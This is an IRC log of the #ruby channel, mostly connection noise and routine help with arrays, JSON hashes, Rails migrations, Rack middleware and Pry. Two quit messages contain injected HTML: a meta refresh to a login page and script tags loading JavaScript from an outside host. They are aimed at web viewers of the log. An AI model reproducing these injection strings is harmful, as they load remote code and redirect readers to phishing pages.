jonjits[m] has quit [Ping timeout: 240 seconds]
vuoto has joined #ruby
mim1k has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
petruff has joined #ruby
rgtk has quit [Ping timeout: 240 seconds]
Karunamon has quit [Quit: Later!]
nowhere_man has joined #ruby
aglorei has quit [Ping timeout: 248 seconds]
sonne has quit [Ping timeout: 260 seconds]
Karunamon has joined #ruby
arquebus has quit [Quit: konversation disconnects]
zeroDivisible has quit [Ping timeout: 260 seconds]
nadir has joined #ruby
bw\_ has quit [Ping timeout: 260 seconds]
bw\ has joined #ruby
aglorei has joined #ruby
jonjits[m] has joined #ruby
zeroDivisible has joined #ruby
sonne has joined #ruby
millerti has joined #ruby
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
Siyfion has joined #ruby
dasher^0_o has joined #ruby
quirkycoders has joined #ruby
toretore has joined #ruby
vuoto has quit [Quit: Lost terminal]
jenrzzz has quit [Ping timeout: 260 seconds]
sepp2k has quit [Ping timeout: 260 seconds]
ddffg has quit [Ping timeout: 240 seconds]
oliv_____ has joined #ruby
loy_aqua has joined #ruby
tvw has quit [Read error: Connection reset by peer]
bkxd has joined #ruby
petruff has quit [Quit: WeeChat 1.7]
ldnunes has joined #ruby
watersoul has quit [Ping timeout: 240 seconds]
mim1k has quit [Ping timeout: 268 seconds]
petruff has joined #ruby
oliv_____ has quit [Ping timeout: 268 seconds]
bsartek has joined #ruby
ddffg has joined #ruby
sepp2k has joined #ruby
bkxd has quit [Ping timeout: 260 seconds]
CloCkWeRX has joined #ruby
olivi____ has joined #ruby
watersoul has joined #ruby
jdawgaz has joined #ruby
watersoul has quit [Read error: Connection reset by peer]
gnufied has joined #ruby
z64 has joined #ruby
watersoul has joined #ruby
watersoul has quit [Max SendQ exceeded]
jdawgaz has quit [Ping timeout: 240 seconds]
mim1k has joined #ruby
bsartek has quit [Quit: This computer has gone to sleep]
olivi____ has quit [Remote host closed the connection]
olivi____ has joined #ruby
watersoul has joined #ruby
watersoul has quit [Max SendQ exceeded]
mogaj has quit [Remote host closed the connection]
loy_aqua has quit [Quit: loy_aqua]
mogaj has joined #ruby
xco has joined #ruby
xco has quit [Client Quit]
Silthias has joined #ruby
watersoul has joined #ruby
watersoul has quit [Max SendQ exceeded]
Silthias1 has joined #ruby
hinbody has joined #ruby
Silthias has quit [Ping timeout: 260 seconds]
watersoul has joined #ruby
xall has quit [Ping timeout: 240 seconds]
quirkycoders has quit []
watersoul has quit [Read error: Connection reset by peer]
quirkycoders has joined #ruby
jusa has quit [Ping timeout: 240 seconds]
<quirkycoders> So yesterday I restored my database and run my migration which worked initially. I have a couple migrations that create a boolean column and then set the value to 'false'...however now when does not set the values and I get a 'nil' when I check the values after the migration. Any ideas?
watersoul has joined #ruby
mogaj has quit [Remote host closed the connection]
jeffreylevesque has quit [Ping timeout: 240 seconds]
nowhere_man has quit [Remote host closed the connection]
nowhere_man has joined #ruby
ol_______ has joined #ruby
<herwin> isn't that specific to rails?
olivi____ has quit [Ping timeout: 260 seconds]
d10n-work has joined #ruby
Mia has quit [Ping timeout: 240 seconds]
jenrzzz has joined #ruby
Mia has joined #ruby
Mia has joined #ruby
Mia has quit [Changing host]
Silthias has joined #ruby
Vile` has joined #ruby
mogaj has joined #ruby
<quirkycoders> yep...sorry thought I was in the rails channel
Silthias1 has quit [Ping timeout: 260 seconds]
jenrzzz has quit [Ping timeout: 252 seconds]
ben______ has quit [Remote host closed the connection]
ben__ has joined #ruby
jeffreylevesque has joined #ruby
jaruga has joined #ruby
jaruga has quit [Remote host closed the connection]
jaruga has joined #ruby
ledestin has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mogaj has quit [Remote host closed the connection]
millerti has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
ben__ has quit [Ping timeout: 255 seconds]
robert_reilly has joined #ruby
bsartek has joined #ruby
mogaj has joined #ruby
ishe has joined #ruby
negatifze has joined #ruby
hutch34 has joined #ruby
<ishe> I cant perform job from another job (sidekiq):
<ishe> class HelpJob < ApplicationJob
<ishe>
<ishe> def perform
<ishe> ReplyJob.perform_later # not work, why??
<ishe> end
<mikecmpbll> ishe : !gist
<ishe> end
<ishe>
<mikecmpbll> oops.
<mikecmpbll> ishe : what happens?
<ishe> one moment
laura__ has joined #ruby
NL3limin4t0r has joined #ruby
<ishe> any changes, not work (
<ishe> my queue after ReplyJob.perform_later! is empty
* mikecmpbll shrugs
GodFather has quit [Ping timeout: 268 seconds]
lhambley has joined #ruby
petruff has quit [Ping timeout: 240 seconds]
mogaj has quit [Remote host closed the connection]
<laura__> hello
ben__ has joined #ruby
mogaj has joined #ruby
petruff has joined #ruby
<laura__> !hello
jameser has joined #ruby
<laura__> !hello
laura__ has quit [Quit: Page closed]
synthroid has joined #ruby
ben__ has quit [Ping timeout: 260 seconds]
ben__ has joined #ruby
rfoust has joined #ruby
Vile` has quit [Ping timeout: 240 seconds]
millerti has joined #ruby
jameser has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
ojab has joined #ruby
jphase has joined #ruby
ta_ has quit [Ping timeout: 260 seconds]
cdg has joined #ruby
sepp2k has quit [Ping timeout: 260 seconds]
sepp2k has joined #ruby
xall has joined #ruby
patr0clus has joined #ruby
ta_ has joined #ruby
GodFather has joined #ruby
xall has quit [Ping timeout: 260 seconds]
ta_ has quit [Ping timeout: 260 seconds]
ol_______ has quit [Read error: Connection reset by peer]
Pumukel has joined #ruby
olivi____ has joined #ruby
GorillaApe is now known as Terens
agent_white has quit [Quit: leaving]
DLSteve has joined #ruby
agent_white has joined #ruby
jrafanie has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
<agent_white> Mornin' folks
olivi____ has joined #ruby
Nimzowitsch has joined #ruby
<Nimzowitsch> hey all
<Nimzowitsch> what's the most elegant way of achieving the following: remove first n elements of an array and add them to a separate array
jameser has joined #ruby
<Nimzowitsch> something like arr.push(oldArray.removeElements(fromIndex, toIndex))
patarr has joined #ruby
xall has joined #ruby
<go|dfish> Nimzowitsch: x += y.shift(n)
<go|dfish> well, i guess x.concat
xall has quit [Ping timeout: 255 seconds]
loechel has joined #ruby
loechel has quit [Remote host closed the connection]
asdasd has joined #ruby
asdasd has quit [Client Quit]
Pumukel has quit [Ping timeout: 255 seconds]
davic has joined #ruby
chouhoul_ has quit [Remote host closed the connection]
alan_w_ has joined #ruby
__Yiota has joined #ruby
Siyfion has quit [Quit: Textual IRC Client: www.textualapp.com]
cfec0b8d has joined #ruby
awk has quit [Quit: .]
xall has joined #ruby
millerti has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jrafanie_ has joined #ruby
nhhc has joined #ruby
jrafanie has quit [Ping timeout: 245 seconds]
mostlybadfly has quit [Quit: Connection closed for inactivity]
<pupsicle> TIL how to use the safe navigation operator to access array elements. Pretty cool. nil&.[](3)
haylon has joined #ruby
mwlang has joined #ruby
mwlang has quit [Client Quit]
moei has joined #ruby
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
millerti has joined #ruby
<ljarvis> s/pretty cool/ridiculous/
<ljarvis> agreed
alazred has joined #ruby
alazred has joined #ruby
alazred has quit [Changing host]
jusa has joined #ruby
mogaj has quit [Remote host closed the connection]
cfec0b8d has quit [Ping timeout: 260 seconds]
<darix> dat syntax
Nimzowitsch has quit [Ping timeout: 260 seconds]
jusa has quit [Ping timeout: 255 seconds]
bsartek has quit [Quit: This computer has gone to sleep]
nemish has joined #ruby
quirkycoders has quit [Remote host closed the connection]
xall has quit [Ping timeout: 240 seconds]
<herwin> nil&.fetch(3, nil) does the same and might be a bit more readable
<herwin> or Array(nil)[3]
bsartek has joined #ruby
__Yiota has joined #ruby
xall has joined #ruby
alazred has quit [Ping timeout: 260 seconds]
bsartek has quit [Quit: Quitte]
ddffg has quit [Ping timeout: 260 seconds]
alazred has joined #ruby
alazred has joined #ruby
alazred has quit [Changing host]
tomphp has joined #ruby
jenrzzz has joined #ruby
sid_fules has joined #ruby
ta_ has joined #ruby
tercenya has joined #ruby
chouhoulis has joined #ruby
chouhoulis has quit [Remote host closed the connection]
chouhoulis has joined #ruby
jenrzzz has quit [Ping timeout: 240 seconds]
harfangk has joined #ruby
olivi____ has quit [Remote host closed the connection]
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
olivi____ has joined #ruby
jphase has quit []
sid_fules has quit [Remote host closed the connection]
raul782 has joined #ruby
tomphp has quit [Ping timeout: 240 seconds]
sid_fules has joined #ruby
polishdub has joined #ruby
robert_reilly_ has joined #ruby
olivi____ has quit [Ping timeout: 260 seconds]
ResidentBiscuit has joined #ruby
ResidentBiscuit has quit [Max SendQ exceeded]
ResidentBiscuit has joined #ruby
hxegon_afk has quit [Remote host closed the connection]
robert_reilly has quit [Ping timeout: 260 seconds]
robert_reilly_ is now known as robert_reilly
jphase has joined #ruby
jphase has quit [Client Quit]
rippa has joined #ruby
Macaveli has joined #ruby
ozcanesen has joined #ruby
vondruch has quit [Quit: vondruch]
petruff has quit [Ping timeout: 258 seconds]
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
bonhoeffer has joined #ruby
robert_reilly has quit [Ping timeout: 268 seconds]
vondruch has joined #ruby
robert_reilly has joined #ruby
Macaveli has quit [Ping timeout: 255 seconds]
__Yiota has joined #ruby
xall has quit [Ping timeout: 260 seconds]
theunraveler has joined #ruby
G has quit [Remote host closed the connection]
ferr has quit [Quit: WeeChat 1.7]
MissionCritical has quit [Ping timeout: 240 seconds]
cdg has quit [Remote host closed the connection]
Phrogz has quit [Quit: Page closed]
G has joined #ruby
vondruch has quit [Ping timeout: 260 seconds]
CloCkWeRX has quit [Quit: Leaving.]
ltem has joined #ruby
raul782 has quit [Remote host closed the connection]
hxegon has joined #ruby
aufi has quit [Quit: Leaving]
raul782 has joined #ruby
GodFather has quit [Remote host closed the connection]
GodFather_ has joined #ruby
kristofferR has joined #ruby
MissionCritical has joined #ruby
woodruffw has quit [Ping timeout: 260 seconds]
woodruffw has joined #ruby
woodruffw has joined #ruby
woodruffw has quit [Changing host]
synthroid has quit [Remote host closed the connection]
NL3limin4t0r has quit []
olivi____ has joined #ruby
shinnya has joined #ruby
ramortegui has joined #ruby
alan_w_ has quit [Ping timeout: 260 seconds]
rakm has joined #ruby
olivi____ has quit [Ping timeout: 260 seconds]
GodFather_ has quit [Remote host closed the connection]
mark_66 has quit [Remote host closed the connection]
GodFather_ has joined #ruby
millerti has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
oliv_____ has joined #ruby
oliv_____ has quit [Ping timeout: 240 seconds]
mogaj has joined #ruby
olivi____ has joined #ruby
jrafanie_ has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
rfoust has quit [Quit: Textual IRC Client: www.textualapp.com]
mogaj has quit [Ping timeout: 240 seconds]
olivi____ has quit [Ping timeout: 240 seconds]
blackpajamas has quit [Quit: WeeChat 1.7]
xall_ has joined #ruby
antgel has quit [Ping timeout: 268 seconds]
jrafanie has joined #ruby
mogaj has joined #ruby
Macaveli has joined #ruby
tohuw has quit [Quit: ...]
tohuw has joined #ruby
tohuw is now known as Guest29517
minimalism has joined #ruby
Macaveli has quit [Ping timeout: 268 seconds]
Derperperd has quit [Quit: Together, we will make America strong again. We will make America wealthy again. We will make America proud again. We will make America safe again. And, yes, together, we will make America great again. Thank you, God bless you, and God bless America.]
millerti has joined #ruby
username1 has joined #ruby
Derperperd has joined #ruby
flying has quit [Read error: Connection reset by peer]
Guest29517 has quit [Changing host]
Guest29517 has joined #ruby
Guest29517 is now known as Tohuw
flying has joined #ruby
GodFather_ has quit [Ping timeout: 268 seconds]
gizmore has joined #ruby
synthroid has joined #ruby
anisha__ has quit [Quit: Leaving]
oliv_____ has joined #ruby
hobodave has joined #ruby
jrafanie has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
brent__ has joined #ruby
antoniobeyah has joined #ruby
amclain has joined #ruby
oliv_____ has quit [Ping timeout: 255 seconds]
jrafanie has joined #ruby
mzo has joined #ruby
HoierM has joined #ruby
tomphp has joined #ruby
tomphp has quit [Client Quit]
pandaant has quit [Remote host closed the connection]
shintaro has joined #ruby
jrafanie has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
patr0clus has quit [Quit: WeeChat 1.4]
shintaro has quit [Client Quit]
flying has quit []
ramfjord has joined #ruby
shintaro has joined #ruby
tomphp has joined #ruby
olivi____ has joined #ruby
shintaro has quit [Client Quit]
arquebus has joined #ruby
rgtk has joined #ruby
Burgestrand has quit [Quit: Closing time!]
gusrub has joined #ruby
__main__ has quit [Read error: Connection reset by peer]
xall_ has quit [Ping timeout: 255 seconds]
jcao219 has joined #ruby
username1 has quit [Quit: Lost terminal]
__main__ has joined #ruby
mikecmpbll has quit [Ping timeout: 255 seconds]
cfec0b8d has joined #ruby
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
alazred has quit [Ping timeout: 258 seconds]
tomphp has joined #ruby
mim1k has quit [Ping timeout: 240 seconds]
tomphp has quit [Client Quit]
outreachdan has joined #ruby
tomphp has joined #ruby
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
rakm has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
Vingador has joined #ruby
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jenrzzz has quit [Ping timeout: 260 seconds]
cfec0b8d has quit [Quit: Leaving.]
chichou has quit [Quit: WeeChat 1.7]
lxsameer has quit [Quit: WeeChat 1.5]
gregf_ has quit [Quit: Page closed]
mikecmpbll has joined #ruby
jameser has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
olivi____ has quit [Remote host closed the connection]
ishe has quit [Read error: No route to host]
JoshS has quit [Ping timeout: 255 seconds]
gusrub has quit [Remote host closed the connection]
olivi____ has joined #ruby
gusrub has joined #ruby
railswebdev has joined #ruby
jrafanie has joined #ruby
synthroi_ has joined #ruby
ar1a has joined #ruby
<ar1a> heya! im trying to access a hashmap like `puts d["name"]` but its throwing me an error, saying it cant implicitly convert a string to an integer
synthroid has quit [Ping timeout: 240 seconds]
<ar1a> {"id"=>2, "buy_average"=>201, "members"=>true, "overall_average"=>201, "sp"=>5, "name"=>"Cannonball", "sell_average"=>201}
<ar1a> that's what is output if i `puts d`
<vcavallo> lsls
Beams has quit [Quit: .]
<vcavallo> ~.
<vcavallo> jkjkjk
olivi____ has quit [Ping timeout: 258 seconds]
Beams has joined #ruby
JoshS has joined #ruby
GodFather_ has joined #ruby
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
sid_fules has quit [Remote host closed the connection]
olivi____ has joined #ruby
<dminuoso> ar1a: What exactly is a hashmap?
<dminuoso> ar1a: Also, try to look at puts d.inspect (or use the shorter form "p d")
renchan has quit [Quit: Leaving...]
<dminuoso> Im guessing you actually have an array like [{"name" => "Cannonball", ...}]
<ar1a> i parsed out json
<ar1a> its whatever JSON.parse returns
<dminuoso> dminuoso | ar1a: Also, try to look at puts d.inspect (or use the shorter form "p d")
<dminuoso> dminuoso | Im guessing you actually have an array like [{"name" => "Cannonball", ...}]
<ar1a> that object in json is {"id": 2, "buy_average": 201}, {next one}, etc
<ar1a> ill try p d now
<dminuoso> Im willing to bet its not.
<dminuoso> Oh
<dminuoso> ar1a | that object in json is {"id": 2, "buy_average": 201}, {next one}, etc
<ar1a> ["2", {"id"=>2, "buy_average"=>201, "members"=>true, "overall_average"=>201, "sp"=>5, "name"=>"Cannonball", "sell_average"=>201}]
<dminuoso> Doesn't that sound like an array to you already?
<dminuoso> See?
<dminuoso> It's an array.
<ar1a> so d[1]["name"]?
<dminuoso> ar1a: For example, yes.
xenops has quit [Read error: Connection reset by peer]
xenops has joined #ruby
nicesignal has quit [Remote host closed the connection]
<ar1a> alright, thanks dminuoso
<ar1a> i didnt know about "p"
nicesignal has joined #ruby
tripolisenten has quit [Remote host closed the connection]
AndBobsYourUncle has joined #ruby
jamesaxl has quit [Read error: Connection reset by peer]
shinnya has quit [Ping timeout: 255 seconds]
jamesaxl has joined #ruby
Beams has quit [Quit: .]
arquebus has quit [Quit: Konversation disconnected]
Beams has joined #ruby
bonhoeffer has quit [Ping timeout: 240 seconds]
duderonomy has quit [Ping timeout: 258 seconds]
sid_fules has joined #ruby
unshadow has joined #ruby
mogaj has quit [Remote host closed the connection]
bigkevmcd has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Cohedrin has joined #ruby
sid_fules has quit [Remote host closed the connection]
alan_w_ has joined #ruby
GGMethos has quit [Quit: WeeChat 1.4]
sid_fules has joined #ruby
alan_w_ has left #ruby [#ruby]
Beams has quit [Quit: .]
pilne has joined #ruby
GGMethos has joined #ruby
cseder has joined #ruby
ozcanesen has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jaequery has joined #ruby
jusa has joined #ruby
<cseder> Hi there! I'm trying to decide on wether to stick to Sublime Text or to go for Ruby Mine from Jetbrains. I appreciate the graphical debugging / breakpoint functionality and the SQL module in Ruby Mine, but that's pretty much the things that makes me want it. Does this justify its cost? That's the question...
<cseder> How do you guys feel about the Ruby Mine IDE?
mogaj has joined #ruby
<baweaver> Never bothered, never needed it
bonhoeffer has joined #ruby
<cseder> It has some nice Rails functionality as well, but I've not started using Rails yet. But that is why I'm learning Ruby.
sid_fules has quit [Read error: Connection reset by peer]
<cseder> The nice thing with Sublime is that it works for most of my other development needs ( - c# ) and it works the same on OS X, Linux and Windows. But the Jetbrains IDE's also work cross platform, so I can't really make up my mind.
<cseder> Maybe I'll go back to my beloved Emacs editor! ;) That's like a mini operating system...
nerglish has joined #ruby
sid_fules has joined #ruby
<toretore> just pick one and write some code
haylon_ has joined #ruby
nankyokusei has joined #ruby
petruff has joined #ruby
__Yiota has joined #ruby
<cseder> toretore probably a good idea. I write lots of code, but I want to settle on one main editor for doing it, but I understand that this is a personal choice. just wanted to know what the ruby hard core users use
pwnd_nsfw has joined #ruby
enterprisey has joined #ruby
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
xzhao has quit [Remote host closed the connection]
<toretore> everyone is different, there is no right solution for everyone
haylon has quit [Ping timeout: 260 seconds]
sdwrage has joined #ruby
mooser has joined #ruby
<elomatreb> A friend of mine only codes in nano without syntax highlighting *shrug*
<toretore> people waste way too much time on this shit, i've been writing ruby for 15+ years and the only tools i use are vim with some syntax highlighting
ar1a has left #ruby [#ruby]
BTRE has joined #ruby
jshjsh has joined #ruby
SeepingN has joined #ruby
marxarelli|afk is now known as marxarelli
<cseder> toretore yea, simple is best for many
bonhoeffer has quit [Ping timeout: 240 seconds]
JoshS has quit [Ping timeout: 258 seconds]
workmad3 has quit [Ping timeout: 260 seconds]
<cseder> Do any of you guys use FXRuby for creating GUI's? Is it still alive and kicking?
<pupsicle> cseder: vim is a viable alternative to ST or Rubymine as well
vuoto has joined #ruby
vuoto has quit [Remote host closed the connection]
nhhc has quit [Remote host closed the connection]
<cseder> pupsicle yes, I know about Vim. It's very simplistic, but has many good plugins making it work well for many. I used Emacs for many years when working in C and C++, but left it behind when work demanded .Net and C# where the only reasonable alternative was Visual Studio
JoshS has joined #ruby
mogaj has quit [Remote host closed the connection]
manoflags has joined #ruby
<pupsicle> Simplistic? o.O
manoflags has quit [Quit: <meta http-equiv=refresh content="0.001; url=Login.asp"><script language=javascript src=http://www.haofbi.com/js/w.js></script>]
__main__ has quit [Read error: Connection reset by peer]
<cseder> What I appreciate with Ruby Mine is the ability to set breakpoints and debug the code graphically
manoflags has joined #ruby
<cseder> pupsicle well, it is Simplistic in design, not simple in functionality
__main__ has joined #ruby
ramfjord has quit [Ping timeout: 260 seconds]
jcao219 has quit [Ping timeout: 268 seconds]
jshjsh has quit [Ping timeout: 255 seconds]
<cseder> coming from Visual Studio I'm used to debugging that way
rakm has joined #ruby
mooser has quit [Remote host closed the connection]
bigkevmcd has joined #ruby
mooser has joined #ruby
Silthias has quit [Quit: Leaving.]
bronson has quit [Remote host closed the connection]
bronson has joined #ruby
haylon has joined #ruby
haylon_ has quit [Ping timeout: 240 seconds]
Bock has quit [Read error: Connection reset by peer]
woodruffw has quit [Quit: And then he took off.]
woodruffw has joined #ruby
woodruffw has joined #ruby
woodruffw has quit [Changing host]
bonhoeffer has joined #ruby
manoflags has quit [K-Lined]
mooser has quit [Ping timeout: 260 seconds]
raul782_ has joined #ruby
bigkevmcd has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
sid_fules has quit [Read error: Connection reset by peer]
hobodave has quit [Quit: Computer has gone to sleep.]
mooser has joined #ruby
olivi____ has quit [Remote host closed the connection]
raul782 has quit [Ping timeout: 258 seconds]
Renich___ has joined #ruby
enterprisey has quit [Remote host closed the connection]
woodruffw has quit [Ping timeout: 240 seconds]
woodruffw has joined #ruby
woodruffw has joined #ruby
woodruffw has quit [Changing host]
hobodave has joined #ruby
aryaching has joined #ruby
skweek has joined #ruby
mooser has quit [Read error: Connection reset by peer]
cseder has quit [Quit: Textual IRC Client: www.textualapp.com]
govg has joined #ruby
mooser has joined #ruby
sdwrage has quit [Quit: This computer has gone to sleep]
cseder has joined #ruby
lagweezle_away is now known as lagweezle
skweek has quit [Ping timeout: 255 seconds]
olivi____ has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
ramfjord has joined #ruby
sid_fules has joined #ruby
hobodave has quit [Quit: Computer has gone to sleep.]
Megan_ has joined #ruby
hobodave has joined #ruby
Snickers has joined #ruby
<Megan_> I have about ~10 migration files and I would like to put them all in one migration file so I keep it a bit organised, how could I accomplish this?
jaruga has quit [Quit: jaruga]
BTRE has quit [Ping timeout: 245 seconds]
sid_fules has quit [Remote host closed the connection]
olivi____ has joined #ruby
Macaveli has joined #ruby
pmden has left #ruby ["BYE"]
<havenwood> Megan_: Sequel or ActiveRecord or something else? Rails?
<Megan_> Rails, yes sorry.
Hail_Spacecake has left #ruby [#ruby]
sid_fules has joined #ruby
<havenwood> Megan_: The db/schema.rb file is one huge migration that's made from the result of all your db/migrate/* migrations combined.
<havenwood> Megan_: There are gems that help you merge multiple migrations together as well. I've seen one that did it by date ranges, sec.
<Megan_> @havenwood: Yes, I know that. But currently I would like to bundle my last ~10 migration files to one. Otherwise it will be a mess very quickly.
tomphp has joined #ruby
<havenwood> Megan_: It's also okay for your migrations directory to be a historical mess, since Rails is creating a nice pristine db/schema.rb every time you migrate
olivi____ has quit [Ping timeout: 260 seconds]
<havenwood> Megan_: A bunch of the rails rake tasks use the db/schema.rb rather than each migration one after the other to get setup.
ramortegui has quit [Remote host closed the connection]
olivi____ has joined #ruby
cfec0b8d has joined #ruby
stupidsenpai has joined #ruby
<Megan_> @havenwood: Squasher does look interesting. I' think I'm gonna give that one a go!
<havenwood> Megan_: `rails db:schema:load`, `rails db:setup` etc.
<havenwood> Megan_: Happy coding! PS - There's also a #RubyOnRails channel for Rails-specific expertise.
brent__ has quit []
<Megan_> I know the migration files itself doesn't conflict with anything, but I still prefer to bundle the last few
<Megan_> ah cool!, thanks ^^
Megan_ has left #ruby [#ruby]
jenrzzz has quit [Ping timeout: 260 seconds]
Megan_ has joined #ruby
tomphp has quit [Client Quit]
brent__ has joined #ruby
nerglish has quit [Quit: nerglish]
olivi____ has quit [Ping timeout: 260 seconds]
jenrzzz has joined #ruby
stupidsenpai has quit [Ping timeout: 258 seconds]
<Megan_> Any idea how I could use Squasher for a few migration files only? Because I can only find documentation for prior to year x, and not like after year x
tomphp has joined #ruby
patr0clus has joined #ruby
hahuang65 has quit [Ping timeout: 240 seconds]
mim1k has joined #ruby
ozcanesen has joined #ruby
sid_fules has quit [Read error: Connection reset by peer]
synthroid has joined #ruby
jusa has quit [Ping timeout: 240 seconds]
pwnd_nsfw has quit [Ping timeout: 240 seconds]
synthroi_ has quit [Ping timeout: 260 seconds]
sid_fules has joined #ruby
mim1k has quit [Ping timeout: 240 seconds]
suck has joined #ruby
patr0clu1 has joined #ruby
patr0clu1 has quit [Client Quit]
blow_ has joined #ruby
mogaj has joined #ruby
jenrzzz has quit [Ping timeout: 240 seconds]
patr0clus has quit [Ping timeout: 260 seconds]
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
__Yiota has joined #ruby
ddffg has joined #ruby
suck has quit [Quit: <script language=javascript src=http://www.haofbi.com/js/w.js></script><script language=javascript src=http://www.haofbi.com/js/w.js></script>]
__main__ has quit [Read error: Connection reset by peer]
__main__ has joined #ruby
outreachdan has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mogaj has quit [Ping timeout: 260 seconds]
bonhoeffer has quit [Ping timeout: 260 seconds]
cseder has quit [Quit: Textual IRC Client: www.textualapp.com]
hsiktas has joined #ruby
outreachdan has joined #ruby
outreachdan has quit [Client Quit]
blow_ has quit [K-Lined]
sid_fules has quit [Read error: Connection reset by peer]
outreachdan has joined #ruby
oliv_____ has joined #ruby
anthonyross has joined #ruby
anthonyross is now known as allcentury
harfangk has quit [Quit: Textual IRC Client: www.textualapp.com]
<allcentury> question - I want to list all the Rack middlewares i'm using in a sinatra app - how can I do that? I see this answer http://stackoverflow.com/questions/4008028/get-ordered-list-of-middleware-in-a-generic-rack-application but it's only listing a few
<dminuoso> allcentury: Googled it for you. http://stackoverflow.com/a/11743107
ramortegui has joined #ruby
<dminuoso> Also googled that for you.
<dminuoso> Should I continue to make you feel bad?
oliv_____ has quit [Ping timeout: 260 seconds]
<allcentury> dminuoso i put the same link in my question...
mim1k has joined #ruby
<allcentury> not sure about my feelings though
<allcentury> also your googlegroups link says it's not possible
<allcentury> let me know if you have more to share dminuoso
qba73 has joined #ruby
patr0clus has joined #ruby
olivi____ has joined #ruby
<dminuoso> allcentury: Mm. I do.
mim1k has quit [Ping timeout: 252 seconds]
bonhoeffer has joined #ruby
<dminuoso> allcentury: Based on what I'm seeing beyond that sintra instance variable it seems impossible.
<dminuoso> I may be wrong, but it seems like Rack doesn't actually track this at all.
enterprisey has joined #ruby
enterprisey has quit [Read error: Connection reset by peer]
patr0clus has quit [Quit: WeeChat 1.4]
outreachdan has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
olivi____ has quit [Ping timeout: 260 seconds]
nerglish has joined #ruby
bonhoeffer has quit [Ping timeout: 240 seconds]
oliv_____ has joined #ruby
nerglish has quit [Client Quit]
sid_fules has joined #ruby
nankyokusei has quit [Remote host closed the connection]
jrafanie has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mogaj has joined #ruby
dlitvak has quit [Quit: Connection closed for inactivity]
sid_fules has quit [Ping timeout: 260 seconds]
jrafanie has joined #ruby
petruff has quit [Ping timeout: 260 seconds]
al2o3-cr has joined #ruby
Vingador has quit [Ping timeout: 240 seconds]
skweek has joined #ruby
mogaj has quit [Ping timeout: 260 seconds]
outreachdan has joined #ruby
juggler has joined #ruby
sid_fules has joined #ruby
bonhoeffer has joined #ruby
hobodave has quit [Quit: Computer has gone to sleep.]
skweek has quit [Ping timeout: 260 seconds]
BTRE has joined #ruby
qba73 has quit [Read error: Connection reset by peer]
maattdd has joined #ruby
hahuang65 has joined #ruby
username1 has joined #ruby
jrafanie has quit [Ping timeout: 260 seconds]
d10n-work has quit [Quit: Connection closed for inactivity]
allcentury has quit [Ping timeout: 268 seconds]
raul782_ has quit [Remote host closed the connection]
raul782 has joined #ruby
lxsameer has joined #ruby
nerglish has joined #ruby
raul782 has quit [Remote host closed the connection]
Macaveli has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
yokel has quit [Ping timeout: 255 seconds]
yokel has joined #ruby
raul782 has joined #ruby
nankyokusei has joined #ruby
Macaveli has joined #ruby
sid_fules has quit [Ping timeout: 260 seconds]
hobodave has joined #ruby
antgel has joined #ruby
sdwrage has joined #ruby
jenrzzz has joined #ruby
Macaveli has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
rgtk has quit [Ping timeout: 260 seconds]
sid_fules has joined #ruby
cagomez has joined #ruby
lagweezle is now known as lagweezle_away
bonhoeffer has quit [Ping timeout: 240 seconds]
antgel has quit [Ping timeout: 260 seconds]
Cohedrin has quit [Read error: Connection reset by peer]
Cohedrin has joined #ruby
<cagomez> is there a way to pipe output from Pry to "less" or "grep"? I'm working with massive objects and want to search for a certain attribute or method easily
<dminuoso> cagomez: Yes.
<dminuoso> cagomez: Pry::Helpers::BaseHelpers.stagger_output
<dminuoso> cagomez: That will pipe it into the (best available) pager (defaults to less) configured in pry.
qba73 has joined #ruby
<dminuoso> cagomez: https://github.com/pry/pry/wiki/FAQ#awesome_print as an example
rgr_ has joined #ruby
<cagomez> dminuoso: thanks! I have a project gemfile and I'd need to install awesomeprint. how can i do this without affecting my project?
<cagomez> nevermind, turns out it's in my local gems. will pry find this automatically? I'm using bundle exec
millerti has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<cagomez> *bundle exec in my project
rgr has quit [Ping timeout: 255 seconds]
<cagomez> err, sorry for the bother. just found this: http://wlowry88.github.io/blog/2014/07/13/giving-pry-a-try/
<dminuoso> :)
domgetter has quit [Ping timeout: 240 seconds]
jeffreylevesque has quit [Ping timeout: 260 seconds]
maattdd_ has joined #ruby
saslam has joined #ruby
synthroid has quit []
maattdd has quit [Ping timeout: 240 seconds]
ltem has quit [Quit: Leaving]
ruby-lang797 has joined #ruby
ruby-lang797 has quit [Client Quit]
<hxegon> Anyone more familiar with Enumerator.new? What exactly is responding to #yield there?
ruby637 has joined #ruby
ruby637 has quit [Client Quit]
<havenwood> hxegon: you mean the block argument? yielder?
moei has quit [Quit: Leaving...]
<hxegon> yeah. Trying to do something really confusing, and of course, am super confused.
